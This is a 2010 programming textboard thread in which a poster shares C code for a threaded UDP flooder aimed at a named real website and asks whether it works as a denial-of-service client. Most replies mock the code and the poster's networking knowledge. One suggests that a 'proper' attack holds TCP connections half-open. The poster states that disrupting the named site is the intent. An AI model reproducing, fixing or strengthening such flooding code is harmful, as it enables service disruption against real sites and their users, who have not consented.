Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Does this work as a DoS client?

Name: Anonymous 2010-09-09 0:42

Hey /prog/, I'm fairly new to network programming, so I was wondering if this block of code did its job as a UDP spammer/DoS client. HOST_NAME is by default set to "anontalk.se", and PORT is set to "80".
You may guess from this but I am also fairly new at threaded programming.

memset (&hints, 0, sizeof hints);
  hints.ai_family = AF_UNSPEC;
  hints.ai_socktype = SOCK_DGRAM;

  if ((status = getaddrinfo (HOST_NAME, PORT, &hints, &server_info))
      != 0)
    {
      MESGS[thread_id] = "Error obtaining address information.";
      return NULL;
    }

  MESGS[thread_id] = "Obtained address information.";

  for (scroller = server_info; scroller != NULL; scroller = scroller->ai_next)
    {
      if ((sockfd = socket (scroller->ai_family, scroller->ai_socktype,
                scroller->ai_protocol)) == -1)
    {
      MESGS[thread_id] = "Error creating a socket.";
      continue;
    }

      break;
    }

  if (scroller == NULL)
    {
      MESGS[thread_id] = "Failed to bind socket.";
      return NULL;
    }

  do
    {
      MESGS[thread_id] = "Running...";

      if ((msg_size = sendto (sockfd, UDP_STR, strlen (UDP_STR), 0,
                  scroller->ai_addr, scroller->ai_addrlen)) == -1)
    {
      MESGS[thread_id] = "Error sending message.";
      return NULL;
    }

      if (MAIN_SIG == PAUSE)
    {
      MESGS[thread_id] = "Suspending...";
      while (MAIN_SIG == PAUSE);
    }
     
      for (start = update = time (NULL); update - start < wtime; update = time (NULL))
    ;
    }
  while (MAIN_SIG != DONE && MAIN_SIG != RESTART);

  close (sockfd);

Name: FUCK YOU 2010-09-09 1:19

FUCK YOU

Name: Anonymous 2010-09-09 1:20

DoS client
I chuckled a little at the thought of the accompanying DoS server.

Name: Anonymous 2010-09-09 1:48

>>3
I don't know what that means.

Name: Anonymous 2010-09-09 3:40

>>4
That's because you're an idiot.

Name: Anonymous 2010-09-09 3:52

>>4
>>3 made a terrible! pun that was possible only because of your complete and utter ignorance of basic networking terminology.

Name: Anonymous 2010-09-09 5:15

MESGS[thread_id] = "
Stopped reading right there

Name: Anonymous 2010-09-09 10:24

>>1
Your indentation is terrible!!, also your client should be coded with Windows Sockets in mind, as that's the platform you should be targeting.

Name: Anonymous 2010-09-09 10:38

>>7
That's an old thing which I'm going to replace soon.

Name: Anonymous 2010-09-09 10:45

Are we DoSing AnonTalk? Kimmo Alms is not going to be happy.

Name: Anonymous 2010-09-09 10:48

M-x indent-region

Name: Anonymous 2010-09-09 11:16

>>10
That's the intent.
>>11
I wrote this in emacs, I just screwed up the formatting copy and pasting.

Name: Anonymous 2010-09-09 12:08

>>12
I wrote this in emacs
Preposterous! Nobody who is smart/determined enough to use emacs would make a non-saged post!

Name: Anonymous 2010-09-09 12:09

>>12

Use tab for a pleasant programming experience.

Name: Anonymous 2010-09-09 12:21

>>14
I prefer Capslock - j
Capslock is my control.

Name: Anonymous 2010-09-09 14:05

>>15
Well, aren't you the 1347est haxer‽ What else did you learn form the ubantæ fora‽

Name: Anonymous 2010-09-09 15:15

>>16
How to install fedora

Name: Anonymous 2010-09-09 15:19

>>16
You abuse the interrobang.

Name: Anonymous 2010-09-09 15:33

>>18
I ABUSE MY ANUS

Name: Anonymous 2010-09-09 15:35

>>18,19
Sorry, I meant
ABUSE MY ANUS‽

Name: Anonymous 2010-09-09 18:06

M-x hax-anus

Name: Anonymous 2010-09-09 18:53

This isn't a ``proper'' DoS, you need to initiate TCP connections and get them to hang, half-open.

Unless that's what you've somehow put into UDP_STR, in which case, why didn't you say so?.

Also:
while (MAIN_SIG == PAUSE);
IHBT

Name: Anonymous 2010-09-09 21:13

>>22
Thanks, but no, UDP_STR is the message that is sent to the server.

Yah, I'm pretty embarrassed by that code. I was really tired.

Name: Anonymous 2011-02-03 8:34

Name: Anonymous 2011-02-04 18:03

Name: Anonymous 2013-01-19 14:27

/prog/ will be spammed continuously until further notice. we apologize for any inconvenience this may cause.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List